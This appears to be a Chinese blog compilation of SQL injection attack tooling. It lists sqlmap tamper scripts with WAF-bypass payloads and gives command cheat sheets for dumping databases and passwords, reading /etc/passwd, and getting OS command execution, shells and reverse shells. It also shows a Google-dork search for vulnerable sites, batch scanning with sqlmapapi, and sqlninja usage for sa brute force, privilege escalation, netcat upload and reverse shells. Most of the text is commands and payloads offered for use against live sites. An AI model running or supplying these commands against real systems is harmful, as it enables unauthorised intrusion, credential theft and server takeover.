关于tamper脚本详细说明在本博客中有,链接为:http://www.matsec.cn/?id=5

如何使用SQLMap绕过WAF:http://www.freebuf.com/articles/1000.html

绕过WAF、安全狗知识整理:http://blog.csdn.net/hxsstar/article/details/24771085

tamper 一些脚本说明 ( http://blog.csdn.net/hxsstar/article/details/22782627 ):

支持的数据库

编号

脚本名称

作用

实现方式

all

1

apostrophemask.py

utf8代替引号

("1 AND '1'='1") 
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 

2

base64encode.py 

base64编码替换

("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='

3

multiplespaces.py

围绕SQL关键字添加多个空格

('1 UNION SELECT foobar')
'1    UNION     SELECT   foobar'

4

space2plus.py

+替换空格

('SELECT id FROM users')
'SELECT+id+FROM+users'

5

nonrecursivereplacement.py

双重查询语句。取代predefined SQL关键字with表示 
suitable for
替代(例如  .replace“SELECT””") filters

('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'

6

space2randomblank.py

代替空格字符(“”)从一个随机的空
白字符可选字符的有效集

('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'

7

unionalltounion.py

替换UNION ALL SELECT UNION SELECT

('-1 UNION ALL SELECT')
'-1 UNION SELECT'

8

securesphere.py

追加特制的字符串

('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"

mssql

1

space2hash.py

绕过过滤‘=’ 替换空格字符(),(’ – ‘)后跟一个破折号注释一个随机字符串和一个新行(’ n’

'1 AND 9227=9227' 
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 

2

equaltolike.py

like 代替等号

* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 

3

space2mssqlblank.py(mssql)

空格替换为其它空符号

Input: SELECT id FROM users
Output: SELECT%08id%02FROM%0Fusers

4

space2mssqlhash.py

替换空格

('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'

5

between.py

between替换大于号(>

('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'

6

percentage.py

asp允许每个字符前面添加一个%

* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

7

sp_password.py

追加sp_password’DBMS日志的自动模糊处理的有效载荷的末尾

('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'

8

charencode.py

url编码

* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

9

randomcase.py

随机大小写

* Input: INSERT
* Output: InsERt

10

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

11

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

mysql >= 5.1.13

1

equaltolike.py

like 代替等号


* Input: SELECT * FROM users WHERE id=1 
2 * Output: SELECT * FROM users WHERE id LIKE 1 

2

greatest.py

绕过过滤’>’ ,GREATEST替换大于号。

('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

3

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号。

tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'

4

ifnull2ifisnull.py

绕过对 IFNULL 过滤。
替换类似’IFNULL(A, B)’’IF(ISNULL(A), B, A)’

('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'

5

space2mssqlhash.py

替换空格

('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'

6

modsecurityversioned.py

过滤空格,包含完整的查询版本注释

('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'

7

space2mysqlblank.py

空格替换其它空白符号(mysql)

Input: SELECT id FROM users
Output: SELECT%0Bid%0BFROM%A0users

8

between.py

between替换大于号(>

('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'

9

modsecurityzeroversioned.py

包含了完整的查询与零版本注释

('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'

10

space2mysqldash.py

替换空格字符()(’ – ‘)后跟一个破折号注释一个新行(’ n’

('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'

11

bluecoat.py

代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=like

('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'

12

percentage.py

asp允许每个字符前面添加一个%

* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

13

charencode.py

url编码

* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

14

randomcase.py

随机大小写

* Input: INSERT
* Output: InsERt

15

versionedkeywords.py

Encloses each non-function keyword with versioned MySQL comment

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

16

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

17

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

18

versionedmorekeywords.py

注释绕过

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

MySQL < 5.1

19

halfversionedmorekeywords.py

关键字前加注释

* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

20

halfversionedmorekeywords.py

当数据库为mysql时绕过防火墙,每个关键字之前添加
mysql
版本评论

1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

MySQL >= 5.1.13

21

space2morehash.py

空格替换为 # 以及更多随机字符串 换行符

* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

 Oracle

1

greatest.py

绕过过滤’>’ ,GREATEST替换大于号。

('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

2

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号。

tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'

3

between.py

between替换大于号(>

('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'

4

charencode.py

url编码

* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

5

randomcase.py

随机大小写

* Input: INSERT
* Output: InsERt

6

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

7

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

 PostgreSQL

1

greatest.py

绕过过滤’>’ ,GREATEST替换大于号。

('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

2

apostrophenullencode.py

绕过过滤双引号,替换字符和双引号。

tamper("1 AND '1'='1")

'1 AND %00%271%00%27=%00%271'

3

between.py

between替换大于号(>

('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'

4

percentage.py

asp允许每个字符前面添加一个%

* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

5

charencode.py

url编码

* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

6

randomcase.py

随机大小写

* Input: INSERT
* Output: InsERt

7

charunicodeencode.py

字符串 unicode 编码

* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

8

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

Access

1

appendnullbyte.py

在有效负荷结束位置加载零字节字符编码

('1 AND 1=1')
'1 AND 1=1%00'

其他

 

chardoubleencode.py

url编码(不处理以编码的)

* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

 

unmagicquotes.py

宽字符绕过 GPC  addslashes

* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20

 

randomcomments.py

/**/分割sql关键字

‘INSERT’ becomes ‘IN//S//ERT’









  


10 .将注入语句插入到指定位置:

sqlmap.py -u "url(www.xxx.com/id/1*.html)" --dbs
有些网站是采用伪静态的页面使用SQLMAP的普通注入是不行的,所以SQLMAP提供了”*”参数将SQL语句插入指定位置,一般用于伪静态注入。
在使用HTTP注入时使用-r参数也可以直接在文本中添加*号


11.请求延时注入

sqlmap --dbs -u url --delay 1(时间(秒),可随意)  
sqlmap --dbs -u url --safe-freq 1(请求次数,可随意) 


12 .使用谷歌语法搜索注入(Google hack):

sqlmap.py -g "inurl:asp?id=1"      /* "" 内为搜索语法,如:inurl,intitle,site,filetype等等

demon表哥:www.ggsec.cn(主要是metasploit技术) 
mat表哥:www.matsec.cn (偏实战技术,和渗透思想)


单个注入

sqlmap -u "http://www.xxx.com/index.php" --cookie "id=1" --dbs --level 2  
sqlmap -u "http://www.xxx.com/index.php" --cookie "id=" --clumns -T 表段 –level 2  
sqlmap -u "http://www.xxx.com/index.php" --cookie "id=" --dump -T 表段 -C “user,pass” –level 2  

伪静态注入

目标站点:http://www.xxxx.com/id/3-1.html      sqlmap -u "www.xxxx.com/id/3*.html" --dbs 


2. 默认情况下SQLMAP只支持GET/POST参数的注入测试,
   但是当使用–level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer,
   那么这就很简单了,我 们直接在原有的基础上面加上 --level 2 即可
   利用sqlmap cookies注入突破用户登录继续注入
   先把用户登陆的cookie拿到吧,
   在收藏夹添加一个链接cookies属性:
   名字自己取
   javascript:alert(document.cookie),,需要获取当前cookie的时候,
   直接点一下这个链接,然后复制一下弹出对话框
   里的cookie值就搞定了
   sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid –dbms mssql –cookie=”info=username=test”
   -p是指指定参数注入
4. sqlmap遇到url重写的注入
   哪里存在注入就加上 * 号
   ./sqlmap.py -u “http://www.cunlide.com/id1/1*/id2/2“
5.sqlmap 编码绕waf注入
   ./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
   在sqlmap 的 tamper目录下有很多space2morehash.py 编码脚本自行加载


其他基础:
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql” –current-user #获取当前用户名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql” –current-db  #获取当前数据库名称
sqlmap -u “http://www.xxoo.com/news?id=1” –level=3 –smart –dbms “Mysql”–tables  -D “db_name” #列表名
sqlmap -u “http://url/news?id=1” –level=3 –smart  –dbms “Mysql” –columns -T “tablename” users-D “db_name” -v 0 #列字段
sqlmap -u “http://url/news?id=1” –level=3 –smart –dbms “Mysql”  –dump  -C “column_name”  -T “table_name” -D “db_name” -v 0   #获取字段内容
 
 
 
******************信息获取******************
sqlmap -u “ –smart –dbms “MySQL” –users       #列数据库用户  
sqlmap -u “ –smart –dbms “Mysql” –dbs         #列数据库  
sqlmap -u “ –smart –dbms “Mysql”–passwords    #数据库用户密码  
sqlmap -u “ –smart –dbms “Mysql”–passwords-U root  -v 0   #列出指定用户数据库密码  
sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0           #列出所有数据库所有表   
sqlmap -u “ –smart –dbms “Mysql”–privileges               #查看权限  
sqlmap -u “ –smart –dbms “Mysql”–privileges -U root       #查看指定用户权限  
sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1             #是否是数据库管理员  
sqlmap -u “ –smart –dbms “Mysql” –roles                   #枚举数据库用户角色  
sqlmap -u “ –smart –dbms “Mysql”–udf-inject               #导入用户自定义函数(获取系统权限!)  
sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0    #列出当前库所有表  
sqlmap -u “ –smart –dbms “Mysql” –union-check             #是否支持union 注入  
sqlmap -u “ –smart –dbms “Mysql”–union-cols               #union 查询表记录  
sqlmap -u “ –smart –dbms “Mysql” –union-test              #union 语句测试  
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner       #采用union 注入  
sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby       #union 配合 order by  
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″    #post注入  
sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE”     #cookie注入  
sqlmap -u “ –smart –dbms “Mysql”-b                         #获取banner信息 
sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f    #指纹判别数据库类型
sqlmap -u “http://url/news?id=1” –level=3 –smart–proxy”http://127.0.0.1:8118”   #代理注入
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE“     #指定关键词
sqlmap -u “ –smart –dbms “Mysql”–sql-shell                       #执行指定sql命令  
sqlmap -u “ –smart –dbms “Mysql”–file /etc/passwd  
sqlmap -u “ –smart –dbms “Mysql”–os-cmd=whoami             #执行系统命令  
sqlmap -u “ –smart –dbms “Mysql”–os-shell                  #系统交互shell  
sqlmap -u “ –smart –dbms “Mysql”–os-pwn                    #反弹shell  
sqlmap -u “ –smart –dbms “Mysql”–reg-read                  #读取win系统注册表  
sqlmap -u “ –smart –dbms “Mysql” –dbs-o “sqlmap.log”       #保存进度  
sqlmap -u “ –smart –dbms “Mysql” –dbs  -o “sqlmap.log” –resume    #恢复已保存进度 



使用sqlmapapi.py批量化扫描实践

0x00 前言


sqlmap可谓是sql注入探测的神器,优秀的探测功能可以让任何一个使用者无基础挖掘sql注入。wooyun上关于sqlmap的文章已经有6篇了,都没有科 普sqlmapapi.py。因此我打算分享下这方面的实践。利用sqlmap测试SQL注入的效率很低,每一个url都需要手动测试,这样肯定不是理想状态。 sqlmap的作者肯定也察觉到这一点了,默默的开发了sqlmapapi.py,当你使用了sqlmapapi.py后才能体会到sqlmap的强大。sqlmap构建了一个自动化 分布式的扫描帝国!这篇文章我主要从sqlmapapi.py的代码角度和AutoSqli类的设计与实现的角度展开。

0x01 sqlmapapi.py综述


sqlmapapi.py给使用者提供了一个强大的功能,服务功能。使用者可以利用sqlmapapi.py开启服务端口,以后只要向sqlmapapi发送请求,就可以进行sql注入,然后发送查询请求,就可以得到这个url是否是注入点,以及详细的内容。同学们看到这里是不是有些小激动呢? sqlmapapi.py的help,我们需要用的是-s参数,也许你也有可能用到-p参数。


从sqlmapapi.py文件可以看出来,我们利用的文件的调用关系是


进入到lib/utils/api.py的server类,可以发现通过向server提交数据进行与服务的交互。 一共分为3种类型。

  • Users' methods 用户方法
  • Admin function 管理函数
  • sqlmap core interact functions 核心交互函数

可以提交数据的种类如下。

用户方法

  • @get("/task/new")
  • @get("/task//delete")

管理函数

  • @get("/admin//list")
  • @get("/admin//flush")

核心交互函数

  • @get("/option//list")
  • @post("/option//get")
  • @post("/option//set")
  • @post("/scan//start")
  • @get("/scan//stop")
  • @get("/scan//kill")
  • @get("/scan//status")
  • @get("/scan//data")
  • @get("/scan//log//")
  • @get("/scan//log")
  • @get("/download///")

不难发现这些操作可以完全满足我们的测试需求,因此利用这些就可以批量了。当然每一种请求都会有不同的返回值,这些返回值是json的形式传回, 解析就好了。其实这些我已经替大家做好了,调用AutoSqli类就可以了,但是还是要挑一些讲下。

task/new 任务建立

GET /task/new Response:
{
    "taskid": "1d47d7f046df1504" 
}

    /scan/<task_id>/status 扫描任务状态
GET /scan/<task_id>/status Response:
{
    "status": "terminated",
    "returncode": 0 
}

详细内容请各自查阅代码。

0x02 AutoSqli类


我封装AutoSqli类的作用是想轻松的与sqlmapapi.py建立的server进行交互。

AutoSqli的run方法的执行逻辑图


这些步骤就是正常sqlmap扫描的逻辑,因此调用AutoSqli就可以正常执行。

Show code


具体代码查看Mspider项目的Autosqli.py文件。

https://github.com/manning23/MSpider

0x03 使用心得


AutoSqli类的初始化可以添加url的data,cookie,referer。因此无需顾虑探测需要登陆的页面。


对于AutoSqli类的使用,主要注意option_set()方法的使用,其数据结构为字典,由于可添加的内容超长,因此想添加自动的测试设置请参考Mspider项 目的set_option.txt文件。


说道使用场景,其实我自己已经玩了好久了,说实话效果没达到我的预期,分析下原因。

现在网站的sql注入确实少了,烧饼类型的主要点更少。

sqlmap的初始探针不怎么样,想要精准判断还需要研究,个人研究发现对于mysql数据库,使用时间类型探针效果最好,当然需要自己写探针,详 细的参考Mayikissyou牛的文章。顺便吐槽下,Mayikissyou牛的文章,对于探针的改写真是蜻蜓点水啊,我研究了好久才把lijiejie的那些方法加 上:)

有想法的同学肯定希望我把Mspider和AutoSqli结合下,可是我觉得方法我已经分享了,剩下的同学自己实践吧。实践才能有新的想法。

sqlmapapi.py就是sqlmap为了分布式扫描SQL注入做的,但是资料真的很少,实践的结果更少,希望这篇分享就当抛砖引玉了,有问题欢迎随时和我交流。还有,Mayikissyou牛的文章真心推荐大家读下,配合我这篇文章,sql注入真是想怎么玩就怎么玩了。

0x04 资料


http://volatile-minds.blogspot.jp/2013/04/unofficial-sqlmap-restful-api.html

http://drops.wooyun.org/tips/5254



sqlninja 说明


sqlninja —— 检测SQL注入&征服一个网站
sqlininja 使用Microsoft SQL Server作为一个后端数据库挖掘web应用漏洞。它聚焦于获取远程主机上正在运行的shell。起初,Sqlninja并不寻找SQL注入,而是在一个SQL注入被发现之后自动进行漏洞利用。sqlninja是一款用perl写的一个专门针对Microsoft SQL Server的sql注入工具。和市面上其他的注入工具不同,sqlninja没有将精力用在跑数据库上,而是侧重于获得一个shell。

首先来介绍一下sqlninja的优点。

一个专门针对Microsoft SQL Server的sql注入工具
可找到远程SQL服务器的标志和特征(版本、用户执行的查询、用户特权、xp_cmdshell的可用性、身份验证模式等)
“sa”口令的强力攻击
如果找到口令后,就将特权提升到“sa”
如果原始的xp_cmdshell被禁用后,就创建一个定制的xp_cmdshell。
使用纯粹的ASCII GET/POST请求来上载netcat.exe程序(以及其它任何可执行的程序),因此并不需要FTP连接。
为了找到目标网络的防火墙所允许的端口,可以实施针对目标SQL 服务器的TCP/UDP端口扫描。
逃避技术,这是为了使注入式代码“模糊”不清,并且混淆/绕过基于签名的IPS和应用层防火墙。
采用“盲目执行”攻击模式,在其它模式失效时,可以用于发布命令并执行诊断。
在sqlninja生成的SQL代码上,执行的是自动化的URL编码,这使得用户可以更精细地控制漏洞利用的字符串。
如果得到权限为sa,可以结合msf进一步对目标主机进行渗透。

sqlninja的一些常用命令

root@kali:~# sqlninja
Sqlninja rel. 0.2.6-r1
Copyright (C) 2006-2011 icesurfer <r00t@northernfortress.net>
Usage: /usr/bin/sqlninja
        -m <mode> : Required. Available modes are:                    //加载modle
            t/test - test whether the injection is working            //测试注入点是否可用
            f/fingerprint - fingerprint user, xp_cmdshell and more
            b/bruteforce - bruteforce sa account           //爆破sa口令用的。可以-w指定字典。不使用字典时sqlninja会自己穷举。
            e/escalation - add user to sysadmin server role
            x/resurrectxp - try to recreate xp_cmdshell     //尝试创建
            u/upload - upload a .scr file                   //上传
            s/dirshell - start a direct shell               //获得一个目标主机的shell
            k/backscan - look for an open outbound port     //查找目标主机允许哪些端口外连
            r/revshell - start a reverse shell              //反弹shell
            d/dnstunnel - attempt a dns tunneled shell
            i/icmpshell - start a reverse ICMP shell
            c/sqlcmd - issue a 'blind' OS command           //执行系统命令,如果为sa的话直接可以net user
            m/metasploit - wrapper to Metasploit stagers    //配合msf使用
        -f <file> : configuration file (default: sqlninja.conf)     //配置sqlninja.conf文件
        -p <password> : sa password
        -w <wordlist> : wordlist to use in bruteforce mode (dictionary method only)    //字典文件的路径。。爆破sa密码用的
        -g : generate debug script and exit (only valid in upload mode)
        -v : verbose output
        -d <mode> : activate debug                          //调试模式
            1 - print each injected command
            2 - print each raw HTTP request
            3 - print each raw HTTP response
            all - all of the above
        ...see sqlninja-howto.html for details

在-f下面又有以下参数
   0 - Database version (2000/2005)    //检测当前数据库版本
   1 - Database user                   //当前数据库用户
   2 - Database user rights            //当前数据库用户权限
   3 - Whether xp_cmdshell is working  //检查xp_cmdshell是否可以用
   4 - Whether mixed or Windows-only authentication is used  //是否windows本地系统权限
   a - All of the above  //以上所有选项
   h - Print this menu   //显示当前帮助菜单
   q - exit              //退出

刚开是搞的时候,在网上搜了半天的资料也没有找到怎么注入链接,参数里面没有像 sqlmap那样有 -u 参数,最后才知道是在配置目录下的sqlninja.conf配置文件,打开配置文件后发现里面的选项特别多,这里只是简单的进行注入,在配置文件中找到如下信息

# GET EXAMPLE:
--httprequest_start--
GET http://www.xxx.com/informationdetail.aspx?id=11&titleid=%e3h;__SQL2INJECT__ HTTP/1.1
Host: www.xxxx.com
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept:*/*
Accept-Language: en-us,en;q=0.7,it;q=0.3
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: Keep-alive
--httprequest_end--
#
# POST EXAMPLE: (The Content-Length Header is automatically added by sqlninja!)
# --httprequest_start--
# POST https://www.victim.com/page.asp HTTP/1.0
# Host: www.victim.com
# User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
# Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
# Accept-Language: en-us,en;q=0.7,it;q=0.3
# Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# Content-Type: application/x-www-form-urlencoded
# Cookie: ASPSESSIONID=xxxxxxxxxxxxxxxxxxxx
# Authorization: Basic yyyyyyyyyyyyyyyyyyyyy
# Connection: close
#
# vulnerableparam=aaa';__SQL2INJECT__&otherparam=blah
# --httprequest_end--
#
# HEADER-BASED EXAMPLE:
# --httprequest_start--
# GET http://www.victim.com/page.asp HTTP/1.0
# Host: www.victim.com
# User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060418 Firefox/1.0.8
# Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*
# Accept-Language: en-us,en;q=0.7,it;q=0.3
# Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# Content-Type: application/x-www-form-urlencoded
# Cookie: VulnCookie=xxx'%3B__SQL2INJECT__
# Connection: close
# --httprequest_end--
#

这里有三种方式GET,POST,HEADER-BASED三个配置例子,根据你的注入点进行抓包判断,修改里面对应的信息,如果你会发现每个注入链接会有个;__SQL2INJECT__。所以在配置的时候不要忘记了加上。
如果要使用其他的功能比如结合msf的话,请自行加上相应的配置,以上步骤配置完成后,就可以进行测试了。

用./sqlninja -m test命令检测注入点是否可用。成功的话会显示[+] Injection was successful! Let’s rock !! 那么就可以使用上面提到的命令。

使用./sqlninja -m metasploit命令可以和msf相结合起来,让渗透更加方便,如果使用metasploit里面的shellcode,这个默认是没有启用的,需要修改sqlninja.conf中metasploit配置位置修改
# Path to metasploit executable. Only needed if msfpayload and
# msfcli are not already in the path
msfpath = /pentest/exploits/framework3/ #去掉前面的注释符号,这里修改成你的framework3的安装位置。
如果有写的不对的地方,欢迎留言更正。
如果需要更详细的了解可以去http://sqlninja.sourceforge.NET/sqlninja-howto.html 看看


黑帽与白帽都喜爱的十大SQL注入工具:http://www.aqniu.com/industry/1449.html

国内外 SQL 神器 :http://blog.csdn.net/heimian/article/details/7080822





相关推荐
©️2020 CSDN 皮肤主题: 书香水墨 设计师:CSDN官方博客 返回首页